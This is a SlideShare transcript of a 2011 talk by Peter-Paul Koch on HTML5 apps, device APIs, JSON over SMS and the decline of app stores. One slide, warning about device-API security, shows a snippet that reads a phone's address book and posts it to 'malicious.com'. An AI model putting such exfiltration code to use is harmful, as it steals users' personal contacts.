The future of the     mobile web                      Peter-Paul Koch               http://quirksmode.org               ht...
Apps in theorySymbian                    4% 3%AndroidiOS           16%                             38%BlackBerryWindowsbad...
Apps in practiceAndroidiOSRest? What rest?                   16%                         22%
Apps in the future
HTML5 apps• One core app written in HTML, CSS,  and JavaScript.• Deployed to several mobile platforms.• Ideally, CSS and J...
HTML5 app         deployment• http://apparat.io/ (Uxebu)• https://build.phonegap.com/ (Nitobi)
Device APIs• Native apps offer device APIs.• They allow you to access the camera,  accelerometer, SMS, file system, etc.• T...
Device APIsdevice.phone.call(device.addressBook[mom])‫‏‬Great!Well ...var ab = device.addressBook.toString();sendRequest(P...
Device APIs spec• BONDI (obsolete)• JIL (obsolete)• W3C DAP (not yet ready)• WAC 2.0
2011       $25
2011       $75
2014       $25
2014       Apps!       keep track of prices,       keep track of       multiple ships,       give warning against       co...
Fisherman’s cousinFisherman                             (also a fisherman)                     ?       I’ve done it. In Apr...
Symbian   Windows Mobile
Symbian                   Windows MobileAnd it worked.Almost.There was a compatibility issue.But still the concept was via...
data                       data       ?               ?           HTML5 app
?    Data will likely be JSON    - Light-weight    - Already works everywhere    But how do we get the JSON    onto the ph...
?    Wifi?     Not available    Data plan?     Too expensive    SMS?     Sounds about right
JSON over SMS• SMS is the only way of pushing data (so far)• Premium SMS allows the service to make  money easily• Nearly ...
To: 06184322728date: 150225,towns: {  town1: {    prices:{      catfish:0.88,      dogfish:1.34,      shellfish:0.79    },...
JSON over SMS• But: cost.• Maybe prices will go down• Or maybe something else will take the  place of SMS.• IM? (Nokia, Bl...
JSON over SMS• And: illiteracy• Images instead of text?•                 : 0.88• Or a voice-over app?
Money• But if the user can share apps freely• and pays for the data• monetization is going to change  considerably• We don...
End of app stores•     “Why is everyone so exercised? As with all walled      gardens, the web will interpret the App Stor...
What do we need app       stores for?• Distribution• Discoverability• Ease of payments and making money• Cost of ownership...
Distribution
Discoverability
Payments
Payments
Cost of ownershipAn app store needs:• payment system• sysadmins• content checkers• documentation and best practices writer...
Works for Apple• Apple has leverage with enthusiastic  developers and affluent consumers• Google has leverage with develope...
End of app storesWill any app stores survive?•   Apple’s. iOS apps will continue to exist.•   Maybe a few other platform-s...
Future of the Mobile Web• Many native apps will be replaced by web  apps, which can run anywhere• Device APIs (but securit...
Thank youI will post these slides online, but only in                 mid May.           Questions?Peter-Paul Koch        ...
The future of the mobile web
Upcoming SlideShare
Loading in...5
×

The future of the mobile web

8,951

Published on

Published in: Technology
1 Comment
18 Likes
Statistics
Notes
No Downloads
Views
Total Views
8,951
On Slideshare
0
From Embeds
0
Number of Embeds
2
Actions
Shares
0
Downloads
219
Comments
1
Likes
18
Embeds 0
No embeds

No notes for slide

The future of the mobile web

  1. 1. The future of the mobile web Peter-Paul Koch http://quirksmode.org http://twitter.com/ppk Breaking Development, 11 April 2011
  2. 2. Apps in theorySymbian 4% 3%AndroidiOS 16% 38%BlackBerryWindowsbada 16% 22%
  3. 3. Apps in practiceAndroidiOSRest? What rest? 16% 22%
  4. 4. Apps in the future
  5. 5. HTML5 apps• One core app written in HTML, CSS, and JavaScript.• Deployed to several mobile platforms.• Ideally, CSS and JavaScript are stored on the device.• If it cant be deployed its still a website.
  6. 6. HTML5 app deployment• http://apparat.io/ (Uxebu)• https://build.phonegap.com/ (Nitobi)
  7. 7. Device APIs• Native apps offer device APIs.• They allow you to access the camera, accelerometer, SMS, file system, etc.• They tie in your site or app with the mobile context.• Web apps will have to offer them, too.
  8. 8. Device APIsdevice.phone.call(device.addressBook[mom])‫‏‬Great!Well ...var ab = device.addressBook.toString();sendRequest(POST,malicious.com,ab);There’s a serious security problem here.• Trusted apps from store• Better security interface
  9. 9. Device APIs spec• BONDI (obsolete)• JIL (obsolete)• W3C DAP (not yet ready)• WAC 2.0
  10. 10. 2011 $25
  11. 11. 2011 $75
  12. 12. 2014 $25
  13. 13. 2014 Apps! keep track of prices, keep track of multiple ships, give warning against corrupt police officers
  14. 14. Fisherman’s cousinFisherman (also a fisherman) ? I’ve done it. In April 2009.
  15. 15. Symbian Windows Mobile
  16. 16. Symbian Windows MobileAnd it worked.Almost.There was a compatibility issue.But still the concept was viable.
  17. 17. data data ? ? HTML5 app
  18. 18. ? Data will likely be JSON - Light-weight - Already works everywhere But how do we get the JSON onto the phone?
  19. 19. ? Wifi? Not available Data plan? Too expensive SMS? Sounds about right
  20. 20. JSON over SMS• SMS is the only way of pushing data (so far)• Premium SMS allows the service to make money easily• Nearly every phone supports SMS• It’s human-readable (more or less)
  21. 21. To: 06184322728date: 150225,towns: { town1: { prices:{ catfish:0.88, dogfish:1.34, shellfish:0.79 }, }, town2: { prices:{ catfish:0.97, dogfish:1.13, shellfish:0.48 }, },}
  22. 22. JSON over SMS• But: cost.• Maybe prices will go down• Or maybe something else will take the place of SMS.• IM? (Nokia, BlackBerry)• As long as it’s push. And you can charge for it.
  23. 23. JSON over SMS• And: illiteracy• Images instead of text?• : 0.88• Or a voice-over app?
  24. 24. Money• But if the user can share apps freely• and pays for the data• monetization is going to change considerably• We don’t need app stores any more
  25. 25. End of app stores• “Why is everyone so exercised? As with all walled gardens, the web will interpret the App Store as damage and route around it.” - Eric Meyer
  26. 26. What do we need app stores for?• Distribution• Discoverability• Ease of payments and making money• Cost of ownership• Works for Apple. But will it work for anyone else?
  27. 27. Distribution
  28. 28. Discoverability
  29. 29. Payments
  30. 30. Payments
  31. 31. Cost of ownershipAn app store needs:• payment system• sysadmins• content checkers• documentation and best practices writers• hostingCosts a lot of money. Too much money, especially ifnobody uses the app store.
  32. 32. Works for Apple• Apple has leverage with enthusiastic developers and affluent consumers• Google has leverage with developers• Nokia, Samsung, and RIM have leverage with consumers (though they’re less willing to spend money)• But none of them has both
  33. 33. End of app storesWill any app stores survive?• Apple’s. iOS apps will continue to exist.• Maybe a few other platform-specific ones, too.• Specialised app stores (structural engineering, music creation, historical maps, etc.)
  34. 34. Future of the Mobile Web• Many native apps will be replaced by web apps, which can run anywhere• Device APIs (but security!)• Apps will be shared via Bluetooth• Web data will also be offered via SMS• Pay for content, not app• App stores on the defensive
  35. 35. Thank youI will post these slides online, but only in mid May. Questions?Peter-Paul Koch http://quirksmode.org http://twitter.com/ppk Breaking Development, 11 April 2011
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×